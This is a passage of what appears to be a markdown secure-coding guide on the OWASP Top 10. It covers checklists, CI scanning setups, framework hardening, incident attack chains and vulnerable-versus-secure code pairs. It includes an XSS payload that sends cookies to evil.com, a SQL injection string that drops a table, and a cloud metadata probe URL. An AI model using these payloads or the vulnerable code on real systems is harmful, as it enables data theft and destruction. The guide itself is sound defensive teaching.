|
558
|
+
```typescript
|
|
559
|
+
// SAFE — resolve and validate against base directory
|
|
560
|
+
import path from 'path';
|
|
561
|
+
const UPLOAD_DIR = '/var/app/uploads';
|
|
562
|
+
|
|
563
|
+
app.get('/files/:name', (req, res) => {
|
|
564
|
+
const filePath = path.resolve(UPLOAD_DIR, req.params.name);
|
|
565
|
+
if (!filePath.startsWith(UPLOAD_DIR)) {
|
|
566
|
+
return res.status(400).json({ error: 'Invalid path' });
|
|
567
|
+
}
|
|
568
|
+
res.sendFile(filePath);
|
|
569
|
+
});
|
|
570
|
+
```
|
|
571
|
+
|
|
572
|
+
---
|
|
573
|
+
|
|
574
|
+
## 5. Security Checklist
|
|
575
|
+
|
|
576
|
+
### Access Control (A01)
|
|
577
|
+
- [ ] All endpoints enforce server-side authorization (not just UI hiding)
|
|
578
|
+
- [ ] Resource ownership is verified before granting access
|
|
579
|
+
- [ ] CORS is configured with explicit origins (no wildcard in authenticated APIs)
|
|
580
|
+
- [ ] Directory listing is disabled on web servers
|
|
581
|
+
- [ ] JWT tokens are validated for signature, expiration, audience, and issuer
|
|
582
|
+
|
|
583
|
+
### Cryptography (A02)
|
|
584
|
+
- [ ] All data in transit uses TLS 1.2+ (prefer TLS 1.3)
|
|
585
|
+
- [ ] Sensitive data at rest is encrypted with AES-256-GCM or ChaCha20-Poly1305
|
|
586
|
+
- [ ] Passwords are hashed with Argon2id, bcrypt (cost 12+), or scrypt
|
|
587
|
+
- [ ] No deprecated algorithms in use (MD5, SHA-1, DES, RC4)
|
|
588
|
+
- [ ] Encryption keys are managed via KMS/HSM, not hardcoded
|
|
589
|
+
|
|
590
|
+
### Injection (A03)
|
|
591
|
+
- [ ] All SQL queries use parameterized statements or ORM
|
|
592
|
+
- [ ] User output is context-encoded (HTML, JS, URL, CSS contexts)
|
|
593
|
+
- [ ] Content-Security-Policy header is deployed and tested
|
|
594
|
+
- [ ] OS command execution uses allowlisted commands with no shell interpolation
|
|
595
|
+
|
|
596
|
+
### Design (A04)
|
|
597
|
+
- [ ] Threat modeling is performed for new features (STRIDE or PASTA)
|
|
598
|
+
- [ ] Rate limiting is applied to all authentication and sensitive endpoints
|
|
599
|
+
- [ ] Business logic enforces server-side limits (not client-side only)
|
|
600
|
+
|
|
601
|
+
### Configuration (A05)
|
|
602
|
+
- [ ] Production environments have debug mode disabled
|
|
603
|
+
- [ ] Default credentials are changed or removed before deployment
|
|
604
|
+
- [ ] Security headers deployed: HSTS, X-Content-Type-Options, X-Frame-Options, CSP
|
|
605
|
+
- [ ] Error messages do not expose stack traces, SQL queries, or internal paths
|
|
606
|
+
|
|
607
|
+
### Dependencies (A06)
|
|
608
|
+
- [ ] Dependency scanning runs in CI (npm audit, pip-audit, Snyk, Dependabot)
|
|
609
|
+
- [ ] SBOM is generated and maintained for each release
|
|
610
|
+
- [ ] Dependencies are pinned with lockfiles and hash verification
|
|
611
|
+
|
|
612
|
+
### Authentication (A07)
|
|
613
|
+
- [ ] MFA is available and enforced for privileged accounts
|
|
614
|
+
- [ ] Account lockout or progressive delays after failed login attempts
|
|
615
|
+
- [ ] Session tokens are invalidated on logout, password change, and inactivity
|
|
616
|
+
|
|
617
|
+
### Integrity (A08)
|
|
618
|
+
- [ ] CI/CD pipelines require signed commits and verified artifact checksums
|
|
619
|
+
- [ ] Auto-update mechanisms validate code signatures before applying
|
|
620
|
+
|
|
621
|
+
### Logging (A09)
|
|
622
|
+
- [ ] Authentication events (success/failure) are logged with timestamps and IPs
|
|
623
|
+
- [ ] Log injection is prevented (structured logging, no user input in log format strings)
|
|
624
|
+
- [ ] Alerts are configured for anomalous patterns (brute force, privilege escalation)
|
|
625
|
+
|
|
626
|
+
---
|
|
627
|
+
|
|
628
|
+
## 6. Tools & Automation
|
|
629
|
+
|
|
630
|
+
### Static Analysis (SAST)
|
|
631
|
+
|
|
632
|
+
**Semgrep** — Fast, pattern-based static analysis with OWASP rulesets:
|
|
633
|
+
```yaml
|
|
634
|
+
# .github/workflows/semgrep.yml
|
|
635
|
+
name: Semgrep SAST
|
|
636
|
+
on: [pull_request]
|
|
637
|
+
jobs:
|
|
638
|
+
semgrep:
|
|
639
|
+
runs-on: ubuntu-latest
|
|
640
|
+
container:
|
|
641
|
+
image: semgrep/semgrep
|
|
642
|
+
steps:
|
|
643
|
+
- uses: actions/checkout@v4
|
|
644
|
+
- run: semgrep scan --config p/owasp-top-ten --config p/security-audit --error --json > semgrep-results.json
|
|
645
|
+
- uses: actions/upload-artifact@v4
|
|
646
|
+
with:
|
|
647
|
+
name: semgrep-results
|
|
648
|
+
path: semgrep-results.json
|
|
649
|
+
```
|
|
650
|
+
|
|
651
|
+
Key Semgrep rulesets:
|
|
652
|
+
- `p/owasp-top-ten` — Rules mapped to all 10 categories
|
|
653
|
+
- `p/security-audit` — Broader security patterns
|
|
654
|
+
- `p/typescript` / `p/python` — Language-specific security rules
|
|
655
|
+
- `p/secrets` — Hardcoded credentials detection
|
|
656
|
+
|
|
657
|
+
**CodeQL** — Deep semantic analysis by GitHub:
|
|
658
|
+
```yaml
|
|
659
|
+
# .github/workflows/codeql.yml
|
|
660
|
+
name: CodeQL Analysis
|
|
661
|
+
on:
|
|
662
|
+
push:
|
|
663
|
+
branches: [main]
|
|
664
|
+
pull_request:
|
|
665
|
+
branches: [main]
|
|
666
|
+
schedule:
|
|
667
|
+
- cron: '0 6 * * 1' # Weekly Monday 6 AM
|
|
668
|
+
jobs:
|
|
669
|
+
analyze:
|
|
670
|
+
runs-on: ubuntu-latest
|
|
671
|
+
permissions:
|
|
672
|
+
security-events: write
|
|
673
|
+
strategy:
|
|
674
|
+
matrix:
|
|
675
|
+
language: ['javascript-typescript', 'python']
|
|
676
|
+
steps:
|
|
677
|
+
- uses: actions/checkout@v4
|
|
678
|
+
- uses: github/codeql-action/init@v3
|
|
679
|
+
with:
|
|
680
|
+
languages: ${{ matrix.language }}
|
|
681
|
+
queries: security-extended
|
|
682
|
+
- uses: github/codeql-action/autobuild@v3
|
|
683
|
+
- uses: github/codeql-action/analyze@v3
|
|
684
|
+
```
|
|
685
|
+
|
|
686
|
+
**Tool accuracy benchmarks (2025):**
|
|
687
|
+
- CodeQL: 88% accuracy, 5% false positive rate — best for deep semantic analysis
|
|
688
|
+
- Semgrep: 82% accuracy, 12% false positive rate — best for speed and custom rules
|
|
689
|
+
- Snyk Code: 85% accuracy, 8% false positive rate — best for developer experience
|
|
690
|
+
|
|
691
|
+
### Dynamic Analysis (DAST)
|
|
692
|
+
|
|
693
|
+
**OWASP ZAP** — Automated vulnerability scanner:
|
|
694
|
+
```yaml
|
|
695
|
+
# .github/workflows/zap-scan.yml
|
|
696
|
+
name: OWASP ZAP Scan
|
|
697
|
+
on:
|
|
698
|
+
schedule:
|
|
699
|
+
- cron: '0 2 * * *' # Nightly at 2 AM
|
|
700
|
+
jobs:
|
|
701
|
+
zap-scan:
|
|
702
|
+
runs-on: ubuntu-latest
|
|
703
|
+
steps:
|
|
704
|
+
- name: ZAP Baseline Scan
|
|
705
|
+
uses: zaproxy/action-baseline@v0.14.0
|
|
706
|
+
with:
|
|
707
|
+
target: 'https://staging.example.com'
|
|
708
|
+
rules_file_name: '.zap/rules.tsv'
|
|
709
|
+
cmd_options: '-a -j'
|
|
710
|
+
- name: ZAP Full Scan (weekly)
|
|
711
|
+
if: github.event.schedule == '0 2 * * 0'
|
|
712
|
+
uses: zaproxy/action-full-scan@v0.12.0
|
|
713
|
+
with:
|
|
714
|
+
target: 'https://staging.example.com'
|
|
715
|
+
```
|
|
716
|
+
|
|
717
|
+
### Dependency Scanning (SCA)
|
|
718
|
+
|
|
719
|
+
**Snyk** — Continuous dependency monitoring:
|
|
720
|
+
```yaml
|
|
721
|
+
# .github/workflows/snyk.yml
|
|
722
|
+
name: Snyk Security
|
|
723
|
+
on: [pull_request]
|
|
724
|
+
jobs:
|
|
725
|
+
snyk:
|
|
726
|
+
runs-on: ubuntu-latest
|
|
727
|
+
steps:
|
|
728
|
+
- uses: actions/checkout@v4
|
|
729
|
+
- uses: snyk/actions/node@master
|
|
730
|
+
env:
|
|
731
|
+
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
|
|
732
|
+
with:
|
|
733
|
+
args: --severity-threshold=high
|
|
734
|
+
```
|
|
735
|
+
|
|
736
|
+
**Trivy** — Container and filesystem scanning:
|
|
737
|
+
```bash
|
|
738
|
+
# Scan container image
|
|
739
|
+
trivy image --severity HIGH,CRITICAL myapp:latest
|
|
740
|
+
|
|
741
|
+
# Scan filesystem for vulnerabilities and misconfigurations
|
|
742
|
+
trivy fs --security-checks vuln,secret,config .
|
|
743
|
+
|
|
744
|
+
# Generate SBOM
|
|
745
|
+
trivy sbom --format cyclonedx --output sbom.json .
|
|
746
|
+
```
|
|
747
|
+
|
|
748
|
+
### Recommended CI/CD Pipeline
|
|
749
|
+
|
|
750
|
+
```
|
|
751
|
+
PR Created
|
|
752
|
+
├── Semgrep (SAST) ......... ~30s, blocks PR on high/critical
|
|
753
|
+
├── npm audit / pip-audit ... ~10s, blocks on high severity
|
|
754
|
+
└── Secret scanning ........ ~15s, blocks on any finding
|
|
755
|
+
|
|
756
|
+
Merge to main
|
|
757
|
+
├── CodeQL (deep SAST) ..... ~5min, creates security advisories
|
|
758
|
+
├── Snyk (SCA) ............. ~2min, opens fix PRs automatically
|
|
759
|
+
└── Container scan (Trivy) . ~1min, blocks deployment on critical
|
|
760
|
+
|
|
761
|
+
Nightly
|
|
762
|
+
├── ZAP baseline scan ...... ~10min against staging
|
|
763
|
+
└── Full dependency audit .. ~3min, generates SBOM
|
|
764
|
+
|
|
765
|
+
Weekly
|
|
766
|
+
└── ZAP full scan .......... ~60min against staging
|
|
767
|
+
```
|
|
768
|
+
|
|
769
|
+
---
|
|
770
|
+
|
|
771
|
+
## 7. Platform-Specific Guidance
|
|
772
|
+
|
|
773
|
+
### Web — Express.js / Node.js
|
|
774
|
+
|
|
775
|
+
```typescript
|
|
776
|
+
import express from 'express';
|
|
777
|
+
import helmet from 'helmet';
|
|
778
|
+
import rateLimit from 'express-rate-limit';
|
|
779
|
+
import { doubleCsrf } from 'csrf-csrf';
|
|
780
|
+
|
|
781
|
+
const app = express();
|
|
782
|
+
|
|
783
|
+
// A05: Security headers
|
|
784
|
+
app.use(helmet({
|
|
785
|
+
contentSecurityPolicy: {
|
|
786
|
+
directives: {
|
|
787
|
+
defaultSrc: ["'self'"],
|
|
788
|
+
scriptSrc: ["'self'"], // No 'unsafe-inline' or 'unsafe-eval'
|
|
789
|
+
styleSrc: ["'self'"],
|
|
790
|
+
imgSrc: ["'self'", "data:"],
|
|
791
|
+
connectSrc: ["'self'"],
|
|
792
|
+
fontSrc: ["'self'"],
|
|
793
|
+
objectSrc: ["'none'"],
|
|
794
|
+
frameAncestors: ["'none'"], // Clickjacking protection
|
|
795
|
+
}
|
|
796
|
+
},
|
|
797
|
+
hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }
|
|
798
|
+
}));
|
|
799
|
+
|
|
800
|
+
// A07: Rate limiting
|
|
801
|
+
app.use('/api/auth/', rateLimit({ windowMs: 15 * 60 * 1000, max: 10 }));
|
|
802
|
+
|
|
803
|
+
// A03: CSRF protection
|
|
804
|
+
const { doubleCsrfProtection } = doubleCsrf({
|
|
805
|
+
getSecret: () => process.env.CSRF_SECRET,
|
|
806
|
+
cookieOptions: { secure: true, sameSite: 'strict' }
|
|
807
|
+
});
|
|
808
|
+
app.use(doubleCsrfProtection);
|
|
809
|
+
|
|
810
|
+
// A03: Body size limits to prevent DoS
|
|
811
|
+
app.use(express.json({ limit: '1mb' }));
|
|
812
|
+
```
|
|
813
|
+
|
|
814
|
+
### Web — Django / Python
|
|
815
|
+
|
|
816
|
+
```python
|
|
817
|
+
# settings.py
|
|
818
|
+
|
|
819
|
+
# A02: Force HTTPS
|
|
820
|
+
SECURE_SSL_REDIRECT = True
|
|
821
|
+
SECURE_HSTS_SECONDS = 31536000
|
|
822
|
+
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
|
|
823
|
+
SECURE_HSTS_PRELOAD = True
|
|
824
|
+
|
|
825
|
+
# A03: CSRF and XSS protections (enabled by default in Django)
|
|
826
|
+
CSRF_COOKIE_SECURE = True
|
|
827
|
+
CSRF_COOKIE_HTTPONLY = True
|
|
828
|
+
|
|
829
|
+
# A05: Security headers
|
|
830
|
+
SECURE_CONTENT_TYPE_NOSNIFF = True
|
|
831
|
+
X_FRAME_OPTIONS = 'DENY'
|
|
832
|
+
SECURE_BROWSER_XSS_FILTER = True
|
|
833
|
+
|
|
834
|
+
# A07: Session security
|
|
835
|
+
SESSION_COOKIE_SECURE = True
|
|
836
|
+
SESSION_COOKIE_HTTPONLY = True
|
|
837
|
+
SESSION_COOKIE_SAMESITE = 'Lax'
|
|
838
|
+
SESSION_COOKIE_AGE = 3600 # 1 hour
|
|
839
|
+
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
|
|
840
|
+
|
|
841
|
+
# A05: Restrict allowed hosts
|
|
842
|
+
ALLOWED_HOSTS = ['www.example.com']
|
|
843
|
+
|
|
844
|
+
# A09: Security logging
|
|
845
|
+
LOGGING = {
|
|
846
|
+
'version': 1,
|
|
847
|
+
'handlers': {
|
|
848
|
+
'security': {
|
|
849
|
+
'class': 'logging.handlers.SysLogHandler',
|
|
850
|
+
'address': '/dev/log',
|
|
851
|
+
}
|
|
852
|
+
},
|
|
853
|
+
'loggers': {
|
|
854
|
+
'django.security': {
|
|
855
|
+
'handlers': ['security'],
|
|
856
|
+
'level': 'WARNING',
|
|
857
|
+
}
|
|
858
|
+
}
|
|
859
|
+
}
|
|
860
|
+
```
|
|
861
|
+
|
|
862
|
+
### Web — Spring Boot / Java
|
|
863
|
+
|
|
864
|
+
```java
|
|
865
|
+
@Configuration
|
|
866
|
+
@EnableWebSecurity
|
|
867
|
+
public class SecurityConfig {
|
|
868
|
+
|
|
869
|
+
@Bean
|
|
870
|
+
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
|
|
871
|
+
http
|
|
872
|
+
// A01: Authorization rules
|
|
873
|
+
.authorizeHttpRequests(auth -> auth
|
|
874
|
+
.requestMatchers("/api/admin/**").hasRole("ADMIN")
|
|
875
|
+
.requestMatchers("/api/public/**").permitAll()
|
|
876
|
+
.anyRequest().authenticated()
|
|
877
|
+
)
|
|
878
|
+
// A07: Session management
|
|
879
|
+
.sessionManagement(session -> session
|
|
880
|
+
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
|
|
881
|
+
)
|
|
882
|
+
// A03: CSRF (disable only for stateless JWT APIs)
|
|
883
|
+
.csrf(csrf -> csrf.disable())
|
|
884
|
+
// A05: Security headers
|
|
885
|
+
.headers(headers -> headers
|
|
886
|
+
.contentSecurityPolicy(csp ->
|
|
887
|
+
csp.policyDirectives("default-src 'self'"))
|
|
888
|
+
.frameOptions(frame -> frame.deny())
|
|
889
|
+
.httpStrictTransportSecurity(hsts ->
|
|
890
|
+
hsts.maxAgeInSeconds(31536000).includeSubDomains(true))
|
|
891
|
+
);
|
|
892
|
+
return http.build();
|
|
893
|
+
}
|
|
894
|
+
}
|
|
895
|
+
```
|
|
896
|
+
|
|
897
|
+
### Mobile — Flutter / Dart
|
|
898
|
+
|
|
899
|
+
```dart
|
|
900
|
+
// A02: Certificate pinning with http_certificate_pinning
|
|
901
|
+
import 'package:http_certificate_pinning/http_certificate_pinning.dart';
|
|
902
|
+
|
|
903
|
+
Future<void> makeSecureRequest() async {
|
|
904
|
+
final response = await SecureHttpClient(
|
|
905
|
+
allowedSHAFingerprints: ['AB:CD:EF:...'], // Pin certificate hash
|
|
906
|
+
).get(Uri.parse('https://api.example.com/data'));
|
|
907
|
+
}
|
|
908
|
+
|
|
909
|
+
// A07: Secure token storage — use flutter_secure_storage, not SharedPreferences
|
|
910
|
+
import 'package:flutter_secure_storage/flutter_secure_storage.dart';
|
|
911
|
+
|
|
912
|
+
final storage = FlutterSecureStorage(
|
|
913
|
+
aOptions: AndroidOptions(encryptedSharedPreferences: true),
|
|
914
|
+
iOptions: IOSOptions(accessibility: KeychainAccessibility.first_unlock),
|
|
915
|
+
);
|
|
916
|
+
|
|
917
|
+
Future<void> storeToken(String token) async {
|
|
918
|
+
await storage.write(key: 'auth_token', value: token);
|
|
919
|
+
}
|
|
920
|
+
|
|
921
|
+
// A03: Input validation
|
|
922
|
+
String? validateEmail(String? value) {
|
|
923
|
+
if (value == null || value.isEmpty) return 'Required';
|
|
924
|
+
final emailRegex = RegExp(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$');
|
|
925
|
+
if (!emailRegex.hasMatch(value)) return 'Invalid email format';
|
|
926
|
+
return null;
|
|
927
|
+
}
|
|
928
|
+
|
|
929
|
+
// A05: Prevent screenshots and screen recording on sensitive screens
|
|
930
|
+
import 'package:flutter_windowmanager/flutter_windowmanager.dart';
|
|
931
|
+
|
|
932
|
+
Future<void> enableSecureMode() async {
|
|
933
|
+
await FlutterWindowManager.addFlags(FlutterWindowManager.FLAG_SECURE);
|
|
934
|
+
}
|
|
935
|
+
```
|
|
936
|
+
|
|
937
|
+
### Backend API Security (All Platforms)
|
|
938
|
+
|
|
939
|
+
```
|
|
940
|
+
1. Authentication: OAuth 2.0 + PKCE for SPAs, mTLS for service-to-service
|
|
941
|
+
2. Authorization: RBAC at gateway, ABAC at service level
|
|
942
|
+
3. Input validation: At the gateway AND at each service boundary
|
|
943
|
+
4. Rate limiting: Per-user at gateway, per-endpoint at service
|
|
944
|
+
5. Encryption: TLS 1.3 external, mTLS internal, field-level for PII
|
|
945
|
+
6. Logging: Correlation IDs across services, structured JSON, no PII in logs
|
|
946
|
+
```
|
|
947
|
+
|
|
948
|
+
---
|
|
949
|
+
|
|
950
|
+
## 8. Incident Patterns
|
|
951
|
+
|
|
952
|
+
### Pattern 1: Injection to Data Exfiltration (A03 → A09)
|
|
953
|
+
|
|
954
|
+
**Attack Chain:**
|
|
955
|
+
```
|
|
956
|
+
1. Reconnaissance — Discover input fields, API endpoints
|
|
957
|
+
2. Probe — Submit injection payloads, observe error responses
|
|
958
|
+
3. Exploit — Extract data via UNION-based or blind SQL injection
|
|
959
|
+
4. Exfiltrate — Dump database contents in batches
|
|
960
|
+
5. Cover tracks — Delete or modify logs if accessible
|
|
961
|
+
```
|
|
962
|
+
|
|
963
|
+
**Detection Signals:**
|
|
964
|
+
- Unusual SQL error rates in application logs
|
|
965
|
+
- Anomalous query patterns (UNION SELECT, SLEEP, BENCHMARK)
|
|
966
|
+
- Large result sets returned from normally small queries
|
|
967
|
+
- WAF alerts for injection patterns
|
|
968
|
+
|
|
969
|
+
**Response Playbook:**
|
|
970
|
+
1. Block the source IP/token immediately
|
|
971
|
+
2. Identify the vulnerable endpoint and patch/disable it
|
|
972
|
+
3. Analyze query logs to determine scope of data accessed
|
|
973
|
+
4. Check for lateral movement via extracted credentials
|
|
974
|
+
5. Notify affected users per breach disclosure requirements
|
|
975
|
+
|
|
976
|
+
### Pattern 2: Credential Stuffing to Account Takeover (A07 → A01)
|
|
977
|
+
|
|
978
|
+
**Attack Chain:**
|
|
979
|
+
```
|
|
980
|
+
1. Obtain credentials — Purchase from dark web breach dumps
|
|
981
|
+
2. Automate attacks — Use credential stuffing tools against login endpoints
|
|
982
|
+
3. Bypass MFA — MFA fatigue, SIM swap, or session hijacking
|
|
983
|
+
4. Privilege escalation — Access admin panels, modify permissions
|
|
984
|
+
5. Data theft — Export sensitive data, establish persistence
|
|
985
|
+
```
|
|
986
|
+
|
|
987
|
+
**Detection Signals:**
|
|
988
|
+
- Login failure rate spike from distributed IPs
|
|
989
|
+
- Multiple accounts accessed from a single IP in short timeframes
|
|
990
|
+
- Geographic impossible travel (login from two continents in minutes)
|
|
991
|
+
- MFA request floods for a single account
|
|
992
|
+
|
|
993
|
+
**Response Playbook:**
|
|
994
|
+
1. Enable adaptive MFA challenges, block suspicious sessions
|
|
995
|
+
2. Force password reset for compromised accounts
|
|
996
|
+
3. Review access logs for all affected accounts
|
|
997
|
+
4. Check for unauthorized data exports or permission changes
|
|
998
|
+
5. Implement CAPTCHA or proof-of-work on login endpoints
|
|
999
|
+
|
|
1000
|
+
### Pattern 3: Supply Chain Compromise (A06 → A08)
|
|
1001
|
+
|
|
1002
|
+
**Attack Chain:**
|
|
1003
|
+
```
|
|
1004
|
+
1. Identify target — Popular open-source library or build tool
|
|
1005
|
+
2. Compromise — Typosquatting, maintainer account takeover, or build system
|
|
1006
|
+
3. Inject malware — Backdoor in dependency update or build artifact
|
|
1007
|
+
4. Distribute — Legitimate update channels deliver malicious code
|
|
1008
|
+
5. Activate — Backdoor phones home, exfiltrates secrets/data
|
|
1009
|
+
```
|
|
1010
|
+
|
|
1011
|
+
**Detection Signals:**
|
|
1012
|
+
- Unexpected network connections from application processes
|
|
1013
|
+
- New or modified dependencies not matching lockfile hashes
|
|
1014
|
+
- Build artifacts with different checksums than expected
|
|
1015
|
+
- Anomalous process behavior (new child processes, file system access)
|
|
1016
|
+
|
|
1017
|
+
**Real Example — SolarWinds (2020):** SUNBURST backdoor inserted into Orion build system.
|
|
1018
|
+
Distributed to ~18,000 organizations via legitimate updates. Detected after 9 months by
|
|
1019
|
+
FireEye when attackers attempted to register a second MFA device on an employee account.
|
|
1020
|
+
|
|
1021
|
+
### Pattern 4: SSRF to Cloud Metadata Theft (A10/A01)
|
|
1022
|
+
|
|
1023
|
+
**Attack Chain:**
|
|
1024
|
+
```
|
|
1025
|
+
1. Discover SSRF — Find URL-fetching functionality (webhooks, URL preview, PDF gen)
|
|
1026
|
+
2. Probe internal — Request http://169.254.169.254/latest/meta-data/ (AWS)
|
|
1027
|
+
3. Extract creds — Retrieve IAM role temporary credentials from metadata
|
|
1028
|
+
4. Pivot — Use credentials to access S3, RDS, or other cloud services
|
|
1029
|
+
5. Exfiltrate — Download sensitive data from cloud storage
|
|
1030
|
+
```
|
|
1031
|
+
|
|
1032
|
+
**Detection Signals:**
|
|
1033
|
+
- Requests to metadata service IPs (169.254.169.254, metadata.google.internal)
|
|
1034
|
+
- Unusual IAM API calls from application service roles
|
|
1035
|
+
- S3/GCS access patterns outside normal application behavior
|
|
1036
|
+
|
|
1037
|
+
**Mitigation:** Enforce IMDSv2 (requires token-based access), use VPC endpoints,
|
|
1038
|
+
deploy allowlists for outbound requests.
|
|
1039
|
+
|
|
1040
|
+
### Pattern 5: Misconfiguration to Full Compromise (A05)
|
|
1041
|
+
|
|
1042
|
+
**Attack Chain:**
|
|
1043
|
+
```
|
|
1044
|
+
1. Scan — Discover exposed admin panels, debug endpoints, default pages
|
|
1045
|
+
2. Access — Use default credentials or unauthenticated admin endpoints
|
|
1046
|
+
3. Enumerate — Map internal services, read configuration files
|
|
1047
|
+
4. Escalate — Modify user roles, deploy web shells, access secrets
|
|
1048
|
+
5. Persist — Create backdoor accounts, install reverse shells
|
|
1049
|
+
```
|
|
1050
|
+
|
|
1051
|
+
**Detection Signals:**
|
|
1052
|
+
- Access to admin endpoints from external IPs
|
|
1053
|
+
- Default credential usage in authentication logs
|
|
1054
|
+
- Configuration file access patterns (web.config, .env, application.yml)
|
|
1055
|
+
- New user accounts created outside normal workflows
|
|
1056
|
+
|
|
1057
|
+
---
|
|
1058
|
+
|
|
1059
|
+
## 9. Compliance & Standards Mapping
|
|
1060
|
+
|
|
1061
|
+
### OWASP Top 10 to Compliance Framework Mapping
|
|
1062
|
+
|
|
1063
|
+
| OWASP Category | NIST SP 800-53 | ISO 27001:2022 | PCI DSS 4.0 | SOC 2 (TSC) | HIPAA Security Rule |
|
|
1064
|
+
|----------------------|-----------------------|-------------------|-------------------|-------------------|---------------------|
|
|
1065
|
+
| A01 Access Control | AC-3, AC-6, AC-17 | A.8.3, A.8.4 | 7.1, 7.2, 7.3 | CC6.1, CC6.3 | 164.312(a)(1) |
|
|
1066
|
+
| A02 Crypto Failures | SC-12, SC-13, SC-28 | A.8.24 | 3.4, 3.5, 4.1 | CC6.1, CC6.7 | 164.312(a)(2)(iv) |
|
|
1067
|
+
| A03 Injection | SI-10, SI-16 | A.8.26, A.8.28 | 6.2, 6.5 | CC7.1, CC8.1 | 164.312(c)(1) |
|
|
1068
|
+
| A04 Insecure Design | SA-8, SA-11, SA-17 | A.8.25, A.8.27 | 6.3 | CC8.1 | 164.308(a)(1) |
|
|
1069
|
+
| A05 Misconfiguration | CM-2, CM-6, CM-7 | A.8.9, A.8.19 | 2.2, 6.4 | CC6.1, CC7.1 | 164.312(b) |
|
|
1070
|
+
| A06 Components | SA-12, SI-2, RA-5 | A.8.8, A.8.19 | 6.3, 11.3 | CC7.1, CC8.1 | 164.308(a)(5)(ii) |
|
|
1071
|
+
| A07 Auth Failures | IA-2, IA-5, IA-8 | A.8.5 | 8.2, 8.3, 8.6 | CC6.1, CC6.2 | 164.312(d) |
|
|
1072
|
+
| A08 Integrity | SI-7, SA-12, CM-14 | A.8.25, A.8.32 | 6.3, 11.5 | CC7.2, CC8.1 | 164.312(c)(1) |
|
|
1073
|
+
| A09 Logging Failures | AU-2, AU-3, AU-6, SI-4| A.8.15, A.8.16 | 10.1, 10.2, 10.7 | CC7.2, CC7.3 | 164.312(b) |
|
|
1074
|
+
| A10 SSRF | SC-7, AC-4 | A.8.22 | 6.2 | CC6.6 | 164.312(e)(1) |
|
|
1075
|
+
|
|
1076
|
+
### Key Compliance Requirements by Framework
|
|
1077
|
+
|
|
1078
|
+
**PCI DSS 4.0** (payment card data):
|
|
1079
|
+
- Requirement 6.2: Bespoke and custom software is developed securely (maps A03, A04, A10)
|
|
1080
|
+
- Requirement 6.5: Changes to custom software are managed securely
|
|
1081
|
+
- Requirement 11.3: External and internal vulnerabilities regularly identified and addressed
|
|
1082
|
+
|
|
1083
|
+
**HIPAA Security Rule** (protected health information):
|
|
1084
|
+
- 164.312(a): Access controls — unique user IDs, emergency access, automatic logoff
|
|
1085
|
+
- 164.312(c): Integrity controls — mechanism to authenticate ePHI
|
|
1086
|
+
- 164.312(e): Transmission security — encryption of ePHI in transit
|
|
1087
|
+
|
|
1088
|
+
**SOC 2 Type II** (service organizations):
|
|
1089
|
+
- CC6: Logical and physical access controls
|
|
1090
|
+
- CC7: System operations — detect and respond to security events
|
|
1091
|
+
- CC8: Change management — authorized, tested, approved changes
|
|
1092
|
+
|
|
1093
|
+
**NIST Cybersecurity Framework (CSF) 2.0:**
|
|
1094
|
+
- Identify (ID) → Asset management, risk assessment (A04, A06)
|
|
1095
|
+
- Protect (PR) → Access control, data security, training (A01, A02, A07)
|
|
1096
|
+
- Detect (DE) → Anomalies, continuous monitoring (A09)
|
|
1097
|
+
- Respond (RS) → Incident response, communications (A09)
|
|
1098
|
+
- Recover (RC) → Recovery planning, improvements
|
|
1099
|
+
|
|
1100
|
+
### OWASP Application Security Verification Standard (ASVS)
|
|
1101
|
+
|
|
1102
|
+
ASVS provides a more granular framework for verifying application security:
|
|
1103
|
+
- **Level 1:** Minimum — automated testing, covers OWASP Top 10
|
|
1104
|
+
- **Level 2:** Standard — most applications, covers most security controls
|
|
1105
|
+
- **Level 3:** Advanced — high-value applications (banking, healthcare, critical infrastructure)
|
|
1106
|
+
|
|
1107
|
+
ASVS maps directly to OWASP Top 10 categories and provides 286 verification requirements
|
|
1108
|
+
across 14 chapters, making it the bridge between OWASP awareness and compliance verification.
|
|
1109
|
+
|
|
1110
|
+
---
|
|
1111
|
+
|
|
1112
|
+
## 10. Code Examples — Vulnerable to Secure
|
|
1113
|
+
|
|
1114
|
+
### Example 1: SQL Injection Prevention (TypeScript)
|
|
1115
|
+
|
|
1116
|
+
```typescript
|
|
1117
|
+
// VULNERABLE — string interpolation in SQL
|
|
1118
|
+
async function searchProducts(category: string): Promise<Product[]> {
|
|
1119
|
+
const query = `SELECT * FROM products WHERE category = '${category}'`;
|
|
1120
|
+
return await db.query(query);
|
|
1121
|
+
// Attacker input: ' OR 1=1; DROP TABLE products; --
|
|
1122
|
+
}
|
|
1123
|
+
|
|
1124
|
+
// SECURE — parameterized query with Prisma ORM
|
|
1125
|
+
async function searchProducts(category: string): Promise<Product[]> {
|
|
1126
|
+
return await prisma.product.findMany({
|
|
1127
|
+
where: { category: category }, // Prisma handles parameterization
|
|
1128
|
+
select: { id: true, name: true, price: true } // Limit returned fields
|
|
1129
|
+
});
|
|
1130
|
+
}
|
|
1131
|
+
```
|
|
1132
|
+
|
|
1133
|
+
### Example 2: XSS Prevention with React/TypeScript
|
|
1134
|
+
|
|
1135
|
+
```typescript
|
|
1136
|
+
// VULNERABLE — dangerouslySetInnerHTML with user input
|
|
1137
|
+
function Comment({ text }: { text: string }) {
|
|
1138
|
+
return <div dangerouslySetInnerHTML={{ __html: text }} />;
|
|
1139
|
+
// Attacker input: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
|
|
1140
|
+
}
|
|
1141
|
+
|
|
1142
|
+
// SECURE — React auto-escapes by default; sanitize if HTML is required
|
|
1143
|
+
import DOMPurify from 'dompurify';
|
|
1144
|
+
|
|
1145
|
+
function Comment({ text }: { text: string }) {
|
|
1146
|
+
// Option A: Let React auto-escape (preferred)
|
|
1147
|
+
return <div>{text}</div>;
|
|
1148
|
+
|
|
1149
|
+
// Option B: If HTML rendering is required, sanitize first
|
|
1150
|
+
const clean = DOMPurify.sanitize(text, {
|
|
1151
|
+
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
|
|
1152
|
+
ALLOWED_ATTR: ['href'],
|
|
1153
|
+
});
|
|
1154
|
+
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
|
|
1155
|
+
}
|
|
1156
|
